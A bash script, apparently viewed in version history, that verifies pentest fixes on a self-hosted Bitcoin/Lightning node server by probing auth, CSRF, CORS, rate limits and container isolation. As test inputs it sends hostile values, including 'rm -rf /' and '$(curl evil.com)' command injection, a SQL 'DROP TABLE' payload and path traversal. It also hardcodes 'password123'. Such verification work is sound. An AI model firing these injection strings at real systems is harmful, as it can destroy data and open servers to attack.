2026-03-06 03:50:50 +00:00
|
|
|
#!/bin/bash
|
|
|
|
|
# Verify pentest remediation fixes on the live server.
|
|
|
|
|
# Exit 0 = all checks pass, Exit 1 = one or more failures.
|
|
|
|
|
# Usage: ./scripts/verify-pentest-fixes.sh [host] [password]
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
set -uo pipefail
|
2026-03-06 03:50:50 +00:00
|
|
|
|
|
|
|
|
HOST="${1:-192.168.1.228}"
|
2026-03-11 14:15:53 +00:00
|
|
|
PASSWORD="${2:-password123}"
|
2026-03-06 03:50:50 +00:00
|
|
|
BACKEND="http://$HOST:5678"
|
|
|
|
|
NGINX="http://$HOST"
|
|
|
|
|
PASS=0
|
|
|
|
|
FAIL=0
|
|
|
|
|
|
|
|
|
|
green() { printf "\033[32m PASS\033[0m %s\n" "$1"; PASS=$((PASS+1)); }
|
|
|
|
|
red() { printf "\033[31m FAIL\033[0m %s\n" "$1"; FAIL=$((FAIL+1)); }
|
|
|
|
|
check() { if [ "$1" = "true" ]; then green "$2"; else red "$2"; fi; }
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# Helper for authenticated requests (session + CSRF)
|
|
|
|
|
auth_rpc() {
|
|
|
|
|
local method="$1" params="${2:-{}}"
|
|
|
|
|
curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
|
|
|
|
-H "X-CSRF-Token: $CSRF" \
|
|
|
|
|
-d "{\"method\":\"$method\",\"params\":$params}" 2>/dev/null || echo ""
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-06 03:50:50 +00:00
|
|
|
echo "============================================"
|
|
|
|
|
echo " Pentest Fix Verification — $HOST"
|
|
|
|
|
echo "============================================"
|
|
|
|
|
echo ""
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# --- Login and get session cookie + CSRF token ---
|
2026-03-06 03:50:50 +00:00
|
|
|
echo "--- Authentication ---"
|
|
|
|
|
LOGIN_RESP=$(curl -sv -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1)
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
COOKIE=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*session=" | sed 's/.*session=//;s/;.*//' | head -1)
|
|
|
|
|
CSRF=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*csrf_token=" | sed 's/.*csrf_token=//;s/;.*//' | head -1)
|
2026-03-06 03:50:50 +00:00
|
|
|
LOGIN_OK=$(echo "$LOGIN_RESP" | tail -1 | grep -q '"error":null' && echo true || echo false)
|
|
|
|
|
COOKIE_SET=$([ ${#COOKIE} -gt 10 ] && echo true || echo false)
|
|
|
|
|
|
|
|
|
|
check "$LOGIN_OK" "AUTH-001: Login returns success"
|
|
|
|
|
check "$COOKIE_SET" "AUTH-001: Login sets HttpOnly session cookie (len=${#COOKIE})"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
HTTPONLY=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*session=" | grep -qi "httponly" && echo true || echo false)
|
|
|
|
|
SAMESITE=$(echo "$LOGIN_RESP" | grep -i "set-cookie.*session=" | grep -qi "samesite" && echo true || echo false)
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$HTTPONLY" "AUTH-001: Cookie has HttpOnly flag"
|
|
|
|
|
check "$SAMESITE" "AUTH-001: Cookie has SameSite flag"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
CSRF_SET=$([ ${#CSRF} -gt 10 ] && echo true || echo false)
|
|
|
|
|
check "$CSRF_SET" "AUTH-001: Login sets CSRF token cookie (len=${#CSRF})"
|
|
|
|
|
|
2026-03-06 03:50:50 +00:00
|
|
|
# --- Unauthenticated access should be blocked ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Unauthenticated Access (should all be 401) ---"
|
|
|
|
|
|
|
|
|
|
for METHOD in "node.did" "node.signChallenge" "node-list-peers" "package.install" "container-list" "auth.resetOnboarding" "bitcoin.getinfo" "lnd.getinfo"; do
|
2026-03-11 14:15:53 +00:00
|
|
|
CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
2026-03-11 14:15:53 +00:00
|
|
|
-d "{\"method\":\"$METHOD\",\"params\":{}}" 2>/dev/null || echo "000")
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$([ "$CODE" = "401" ] && echo true || echo false)" "AUTH-002: $METHOD without auth → $CODE"
|
|
|
|
|
done
|
|
|
|
|
|
|
|
|
|
# --- WebSocket without auth ---
|
2026-03-11 14:15:53 +00:00
|
|
|
WS_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H "Upgrade: websocket" -H "Connection: Upgrade" \
|
|
|
|
|
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
|
2026-03-11 14:15:53 +00:00
|
|
|
-H "Sec-WebSocket-Version: 13" "$BACKEND/ws/db" 2>/dev/null || echo "000")
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$([ "$WS_CODE" = "401" ] && echo true || echo false)" "AUTH-007: WebSocket without auth → $WS_CODE"
|
|
|
|
|
|
|
|
|
|
# --- Container logs & LND proxy without auth ---
|
2026-03-11 14:15:53 +00:00
|
|
|
LOGS_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$BACKEND/api/container/logs?app_id=bitcoin&lines=10" 2>/dev/null || echo "000")
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$([ "$LOGS_CODE" = "401" ] && echo true || echo false)" "AUTH-012: Container logs without auth → $LOGS_CODE"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
LND_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "$BACKEND/proxy/lnd/v1/getinfo" 2>/dev/null || echo "000")
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$([ "$LND_CODE" = "401" ] && echo true || echo false)" "AUTH-011: LND proxy without auth → $LND_CODE"
|
|
|
|
|
|
|
|
|
|
# --- Authenticated access should work ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Authenticated Access (should work) ---"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
DID_RESP=$(auth_rpc "identity.list")
|
|
|
|
|
DID_OK=$(echo "$DID_RESP" | grep -q '"error":null\|"result"' && echo true || echo false)
|
|
|
|
|
check "$DID_OK" "AUTH-002: identity.list with valid session returns data"
|
2026-03-06 03:50:50 +00:00
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# --- CSRF protection ---
|
2026-03-06 03:50:50 +00:00
|
|
|
echo ""
|
2026-03-11 14:15:53 +00:00
|
|
|
echo "--- CSRF Protection ---"
|
2026-03-06 03:50:50 +00:00
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# Request without CSRF token should be rejected
|
|
|
|
|
CSRF_RESP=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-H "Cookie: session=$COOKIE" \
|
|
|
|
|
-d '{"method":"identity.list","params":{}}' 2>/dev/null || echo "000")
|
|
|
|
|
check "$([ "$CSRF_RESP" = "403" ] && echo true || echo false)" "CSRF-001: Request without CSRF token rejected → $CSRF_RESP"
|
|
|
|
|
|
|
|
|
|
# Request with mismatched CSRF header vs cookie should be rejected
|
|
|
|
|
CSRF_BAD_RESP=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
2026-03-11 14:15:53 +00:00
|
|
|
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
|
|
|
|
-H "X-CSRF-Token: wrong-csrf-value" \
|
|
|
|
|
-d '{"method":"identity.list","params":{}}' 2>/dev/null || echo "000")
|
|
|
|
|
check "$([ "$CSRF_BAD_RESP" = "403" ] && echo true || echo false)" "CSRF-002: Mismatched CSRF header vs cookie rejected → $CSRF_BAD_RESP"
|
2026-03-06 03:50:50 +00:00
|
|
|
|
|
|
|
|
# --- Input validation ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Input Validation ---"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# SQL injection in RPC params
|
|
|
|
|
SQL_RESP=$(auth_rpc "identity.get" '{"id":"1; DROP TABLE identities; --"}')
|
|
|
|
|
SQL_SAFE=$(echo "$SQL_RESP" | grep -qi "drop table\|sql\|syntax error" && echo false || echo true)
|
|
|
|
|
check "$SQL_SAFE" "INJ-001: SQL injection in params handled safely"
|
|
|
|
|
|
|
|
|
|
# Command injection in params that could touch shell
|
|
|
|
|
CMD_RESP=$(auth_rpc "package.uninstall" '{"id":"test; rm -rf /; echo pwned"}')
|
|
|
|
|
CMD_SAFE=$(echo "$CMD_RESP" | grep -qi "pwned\|No such file" && echo false || echo true)
|
|
|
|
|
check "$CMD_SAFE" "INJ-003: Command injection in package ID blocked"
|
|
|
|
|
|
|
|
|
|
CMD_RESP2=$(auth_rpc "package.install" '{"id":"$(curl evil.com)","dockerImage":"test"}')
|
|
|
|
|
CMD_SAFE2=$(echo "$CMD_RESP2" | grep -qi "evil.com" && echo false || echo true)
|
|
|
|
|
check "$CMD_SAFE2" "INJ-004: Command injection via subshell blocked"
|
|
|
|
|
|
|
|
|
|
# Path traversal — use direct curl to avoid potential auth_rpc issues
|
|
|
|
|
TRAVERSAL=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
2026-03-11 14:15:53 +00:00
|
|
|
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
|
|
|
|
-H "X-CSRF-Token: $CSRF" \
|
|
|
|
|
-d '{"method":"package.uninstall","params":{"id":"../../tmp/evil"}}' 2>/dev/null || echo "")
|
|
|
|
|
TRAVERSAL_BLOCKED=$(echo "$TRAVERSAL" | grep -qi "invalid\|error" && echo true || echo false)
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$TRAVERSAL_BLOCKED" "INJ-002: Path traversal rejected"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# Untrusted registry — use direct curl
|
|
|
|
|
REGISTRY=$(curl -s --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
2026-03-11 14:15:53 +00:00
|
|
|
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
|
|
|
|
-H "X-CSRF-Token: $CSRF" \
|
|
|
|
|
-d '{"method":"package.install","params":{"id":"test","dockerImage":"evil.com/rootkit:latest"}}' 2>/dev/null || echo "")
|
|
|
|
|
REGISTRY_BLOCKED=$(echo "$REGISTRY" | grep -qi "invalid\|error\|untrusted" && echo true || echo false)
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$REGISTRY_BLOCKED" "SSRF-004: Untrusted registry rejected"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# Spoofed pubkey
|
|
|
|
|
PUBKEY=$(curl -s --max-time 5 -X POST "$BACKEND/archipelago/node-message" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
2026-03-11 14:15:53 +00:00
|
|
|
-d '{"from_pubkey":"SPOOFED","message":"injected"}' 2>/dev/null || echo "")
|
|
|
|
|
PUBKEY_BLOCKED=$(echo "$PUBKEY" | grep -qi "invalid\|error\|unauthorized" && echo true || echo false)
|
2026-03-06 03:50:50 +00:00
|
|
|
check "$PUBKEY_BLOCKED" "AUTH-008: Spoofed pubkey rejected"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# --- Session fixation ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Session Fixation ---"
|
|
|
|
|
|
|
|
|
|
# Try to set own session token before login
|
|
|
|
|
FIXATION_RESP=$(curl -sv --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-H "Cookie: session=attacker-controlled-session-token-12345" \
|
|
|
|
|
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1)
|
|
|
|
|
FIXATION_COOKIE=$(echo "$FIXATION_RESP" | grep -i "set-cookie.*session=" | sed 's/.*session=//;s/;.*//' | head -1)
|
|
|
|
|
# The server should set its own session token, not accept the attacker's
|
|
|
|
|
FIXATION_OK=$([ "$FIXATION_COOKIE" != "attacker-controlled-session-token-12345" ] && [ ${#FIXATION_COOKIE} -gt 10 ] && echo true || echo false)
|
|
|
|
|
check "$FIXATION_OK" "AUTH-010: Session fixation prevented (server sets new token)"
|
|
|
|
|
|
2026-03-06 03:50:50 +00:00
|
|
|
# --- CORS ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- CORS ---"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
CORS_HEADER=$(curl -s --max-time 5 -D- -X POST "$BACKEND/archipelago/node-message" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-H 'Origin: http://evil.com' \
|
|
|
|
|
-d '{"from_pubkey":"aaaa","message":"test"}' 2>&1 | grep -i "access-control-allow-origin" || true)
|
|
|
|
|
CORS_OK=$([ -z "$CORS_HEADER" ] && echo true || echo false)
|
|
|
|
|
check "$CORS_OK" "AUTH-009: No CORS header for evil.com origin"
|
|
|
|
|
|
|
|
|
|
# --- Nginx Security Headers ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Nginx Security Headers ---"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
HEADERS=$(curl -sI --max-time 5 "$NGINX/" 2>/dev/null || echo "")
|
2026-03-06 03:50:50 +00:00
|
|
|
for H in "X-Content-Type-Options" "X-Frame-Options" "Referrer-Policy" "Content-Security-Policy"; do
|
|
|
|
|
FOUND=$(echo "$HEADERS" | grep -qi "$H" && echo true || echo false)
|
|
|
|
|
check "$FOUND" "XSS-004: $H header present"
|
|
|
|
|
done
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# --- Container privilege checks (if SSH available) ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Container Isolation ---"
|
|
|
|
|
|
|
|
|
|
SSH_KEY="${ARCHIPELAGO_SSH_KEY:-$HOME/.ssh/archipelago-deploy}"
|
|
|
|
|
if [ -f "$SSH_KEY" ]; then
|
|
|
|
|
SSH_CMD="ssh -i $SSH_KEY -o StrictHostKeyChecking=no -o ConnectTimeout=5 archipelago@$HOST"
|
|
|
|
|
|
|
|
|
|
# Check that containers are not running privileged (tailscale excepted — needs TUN)
|
|
|
|
|
PRIV_CONTAINERS=$($SSH_CMD "sudo podman ps --format '{{.Names}}' | xargs -I{} sudo podman inspect {} --format '{{.Name}} privileged={{.HostConfig.Privileged}}' 2>/dev/null | grep 'privileged=true' | grep -v tailscale" 2>/dev/null || true)
|
|
|
|
|
check "$([ -z "$PRIV_CONTAINERS" ] && echo true || echo false)" "ISO-001: No unexpected containers running in privileged mode"
|
|
|
|
|
|
|
|
|
|
# Check for host network mode
|
|
|
|
|
HOST_NET_CONTAINERS=$($SSH_CMD "sudo podman ps --format '{{.Names}}' | xargs -I{} sudo podman inspect {} --format '{{.Name}} net={{.HostConfig.NetworkMode}}' 2>/dev/null | grep 'net=host'" 2>/dev/null || true)
|
|
|
|
|
if [ -n "$HOST_NET_CONTAINERS" ]; then
|
|
|
|
|
green "ISO-002: Host-network containers found (review needed): $(echo "$HOST_NET_CONTAINERS" | wc -l | tr -d ' ')"
|
|
|
|
|
else
|
|
|
|
|
green "ISO-002: No containers using host networking"
|
|
|
|
|
fi
|
|
|
|
|
else
|
|
|
|
|
echo " (skipping container isolation checks — no SSH key)"
|
|
|
|
|
fi
|
|
|
|
|
|
2026-03-06 03:50:50 +00:00
|
|
|
# --- Logout invalidation ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Session Lifecycle ---"
|
|
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# Use current session for logout test
|
|
|
|
|
if [ ${#COOKIE} -gt 10 ]; then
|
|
|
|
|
# Logout
|
|
|
|
|
curl -s -o /dev/null --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
|
|
|
|
-H "X-CSRF-Token: $CSRF" \
|
|
|
|
|
-d '{"method":"auth.logout","params":{}}' 2>/dev/null || true
|
2026-03-06 03:50:50 +00:00
|
|
|
|
2026-03-11 14:15:53 +00:00
|
|
|
# Try to use the session after logout
|
|
|
|
|
POST_LOGOUT=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-H "Cookie: session=$COOKIE; csrf_token=$CSRF" \
|
|
|
|
|
-H "X-CSRF-Token: $CSRF" \
|
|
|
|
|
-d '{"method":"identity.list","params":{}}' 2>/dev/null || echo "000")
|
|
|
|
|
check "$([ "$POST_LOGOUT" = "401" ] || [ "$POST_LOGOUT" = "403" ] && echo true || echo false)" "AUTH-006: Session invalid after logout → $POST_LOGOUT"
|
|
|
|
|
else
|
|
|
|
|
red "AUTH-006: Could not get session for logout test"
|
|
|
|
|
fi
|
|
|
|
|
|
|
|
|
|
# --- Rate limiting (last, since it poisons the connection) ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "--- Rate Limiting ---"
|
|
|
|
|
|
|
|
|
|
# Need fresh login since we logged out above
|
|
|
|
|
sleep 1
|
|
|
|
|
RATE_LOGIN=$(curl -sv --max-time 10 -X POST "$BACKEND/rpc/v1" \
|
2026-03-06 03:50:50 +00:00
|
|
|
-H 'Content-Type: application/json' \
|
2026-03-11 14:15:53 +00:00
|
|
|
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$PASSWORD\"}}" 2>&1 || true)
|
|
|
|
|
RATE_LOGIN_OK=$(echo "$RATE_LOGIN" | tail -1 | grep -q '"error":null' && echo true || echo false)
|
|
|
|
|
|
|
|
|
|
if [ "$RATE_LOGIN_OK" = "true" ]; then
|
|
|
|
|
# Burn through rate limit window
|
|
|
|
|
for i in $(seq 1 5); do
|
|
|
|
|
curl -s -o /dev/null --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}" 2>/dev/null || true
|
|
|
|
|
done
|
|
|
|
|
RATE_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 -X POST "$BACKEND/rpc/v1" \
|
|
|
|
|
-H 'Content-Type: application/json' \
|
|
|
|
|
-d '{"method":"auth.login","params":{"password":"wrong6"}}' 2>/dev/null || echo "000")
|
|
|
|
|
check "$([ "$RATE_CODE" = "429" ] && echo true || echo false)" "AUTH-003: 6th login attempt → $RATE_CODE (expect 429)"
|
|
|
|
|
else
|
|
|
|
|
red "AUTH-003: Could not get fresh login for rate limit test"
|
|
|
|
|
fi
|
2026-03-06 03:50:50 +00:00
|
|
|
|
|
|
|
|
# --- Summary ---
|
|
|
|
|
echo ""
|
|
|
|
|
echo "============================================"
|
|
|
|
|
TOTAL=$((PASS+FAIL))
|
|
|
|
|
echo " Results: $PASS/$TOTAL passed, $FAIL failed"
|
|
|
|
|
echo "============================================"
|
|
|
|
|
|
|
|
|
|
if [ "$FAIL" -gt 0 ]; then
|
|
|
|
|
echo "VERIFICATION FAILED"
|
|
|
|
|
exit 1
|
|
|
|
|
else
|
|
|
|
|
echo "ALL CHECKS PASSED"
|
|
|
|
|
exit 0
|
|
|
|
|
fi
|